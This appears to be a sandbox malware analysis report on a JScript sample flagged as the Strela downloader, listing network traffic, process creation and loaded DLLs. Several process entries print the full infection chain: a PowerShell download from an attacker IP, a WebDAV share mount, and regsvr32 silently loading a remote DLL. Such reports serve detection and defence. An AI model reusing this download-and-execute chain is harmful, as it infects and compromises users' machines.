Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2148174396.0000024A4381D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2203584529.000001B3E8E1A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2203584529.000001B3E8E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2203584529.000001B3E8E1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%
Source: net.exe, 00000007.00000002.2203584529.000001B3E8DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3443844764.000001EE61200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2204968776.000001EE60FE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3536, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 7222172992877722612.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2680:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_is0oh5au.yvt.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7222172992877722612.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1744,i,14698920099243771332,9646005453115857784,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1744,i,14698920099243771332,9646005453115857784,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
